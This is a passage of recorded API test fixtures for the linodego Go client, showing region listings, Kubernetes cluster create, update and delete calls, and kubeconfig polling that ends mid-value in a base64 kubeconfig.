"8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "billing100", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Kubernetes", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ, USA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "VPCs", "Block Storage Migrations", "Managed Databases", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, England, UK", "country": "uk", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 16}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":1,"type":"g6-standard-2","disks":null,"tags":["test"]}],"label":"go-lke-test-update","region":"us-east","k8s_version":"1.29","tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 7941, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-update", "region": "us-east", "k8s_version": "1.29", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "242" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"k8s_version":"1.30","label":"go-lke-test-update-updated","tags":["test=true"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7941 method: PUT response: body: '{"id": 7941, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-update-updated", "region": "us-east", "k8s_version": "1.30", "control_plane": {"high_availability": false}, "tags": ["test=true"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "252" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"control_plane":{"high_availability":true}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7941 method: PUT response: body: '{"id": 7941, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-update-updated", "region": "us-east", "k8s_version": "1.30", "control_plane": {"high_availability": true}, "tags": ["test=true"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "251" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7941 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLKECluster_WaitForReady.yaml000066400000000000000000000562271474652371000327210ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, India", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, Ontario, CAN", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, NSW, Australia", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fake-cph-4", "label": "Fake CPH 4, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fake-cph-5", "label": "Fake CPH 5, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "billing66", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "billing67", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "billing100", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Kubernetes", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ, USA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "VPCs", "Block Storage Migrations", "Managed Databases", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, England, UK", "country": "uk", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 16}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":3,"type":"g6-standard-1","disks":null,"tags":null}],"label":"go-lke-test-wait","region":"us-east","k8s_version":"1.29","tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 7939, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-wait", "region": "us-east", "k8s_version": "1.29", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "240" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7939/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7939/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7939/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7939/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7939/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7939/kubeconfig method: GET response: body: '{"kubeconfig": "CmFwaVZlcnNpb246IHYxCmtpbmQ6IENvbmZpZwpwcmVmZXJlbmNlczoge30KCmNsdXN0ZXJzOgotIGNsdXN0ZXI6CiAgICBjZXJ0aWZpY2F0ZS1hdXRob3JpdHktZGF0YTogTFMwdExTMUNSVWRKVGlCRFJWSlVTVVpKUTBGVVJTMHRMUzB0Q2sxSlNVUkNWRU5EUVdVeVowRjNTVUpCWjBsSlIxQTRaWFphWTBKdmJGVjNSRkZaU2t0dldrbG9kbU5PUVZGRlRFSlJRWGRHVkVWVVRVSkZSMEV4VlVVS1FYaE5TMkV6Vm1sYVdFcDFXbGhTYkdONlFXVkdkekI1VGtSQk0wMVVRWGhPUkZVelRYcG9ZVVozTUhwT1JFRXpUVVJuZUU1VVFYbE5lbWhoVFVKVmVBcEZla0ZTUW1kT1ZrSkJUVlJEYlhReFdXMVdlV0p0VmpCYVdFMTNaMmRGYVUxQk1FZERVM0ZIVTBsaU0wUlJSVUpCVVZWQlFUUkpRa1IzUVhkblowVkxDa0Z2U1VKQlVVUkVXRmRyWXpCMFdIaEpWSGRFYlVNM05YUjJka1UxTUc5T1pXNUxNMEoxUmpWSlRHbGhTazU0Y0hSdlNuZGtaamhtU0RCUlVDOVJlbFFLZWtaaFpXZzBhRmwyVVhsd1pXbHZkVUpPVkRSNU4wdFdOVXN2YVhkWU9WWlpjRWgyWWtkWGVtcFBlbWRHWVdacVdrTjBjR2RuVVc1TVdYY3hiREJoYUFvd01uTjVNRTFIU2xwTFZVcDVVSGhDUjNNeGFIaFJSMGN5YTFwWlVqaDFjbEJsVkRRM2JXMXBVVm93UW5FMlJYZExNalYwYUVOTWJGcGpiVTVMVVc5VkNtdHBVa0V5VmpGeFZrSm5SMEkwUVhvd2JUWlNRVXBYVG1sT1ZVcE5SMGxJVUhZMVRuY3JkRTVOVVVwNVZVNDFRMU5XZGtSYVJucGllRWt6V0ZocVF6SUtOM0UxYURkTVRtOTROR0pJYURSUFRIZzVVWG8yUzBsRmIzTlFWM1V2WVN0SE1sbFVXQzlOVWtKUGJrdHhlQzh6YVVwblIwUlRPWFlyVWxoYVJUUnFhd3BwVkhSalVsbGFRMVp3Um5Kb1JtODRPWHB5VWxwNlpXOVRkVTFzUVdkTlFrRkJSMnBYVkVKWVRVRTBSMEV4VldSRWQwVkNMM2RSUlVGM1NVTndSRUZRQ2tKblRsWklVazFDUVdZNFJVSlVRVVJCVVVndlRVSXdSMEV4VldSRVoxRlhRa0pSUzJweVpXaFRORkp2UWt4MVVFcHBTVFJzY1dGWlJuWjNVa1o2UVZZS1FtZE9Wa2hTUlVWRWFrRk5aMmR3Y21SWFNteGpiVFZzWkVkV2VrMUJNRWREVTNGSFUwbGlNMFJSUlVKRGQxVkJRVFJKUWtGUlEzaFVlWEpJY214cU5BcE5RamxhWkhaS1NEVXhZVU0xZUc1bFJsbzBTa2hVU1RNdk1uUm9kVE5OT0VsR1duWm9VRUYzVG5CSFNtdEtZWFZsVERaNU1UQnJjRFZKU21wREwyUjZDbUZ1Y2xOU2RISmxRMUJCZVhKQ1VsbG9LMDlGYW5kWVVqWnNaM1kzYzFjNFR5c3ZRVEJ5UWxaQ1RYZEdiR1I0YWpob2VFRlVMM0JhTTFrd05UZHVSMDRLV1RCQ1V6VnFlbkp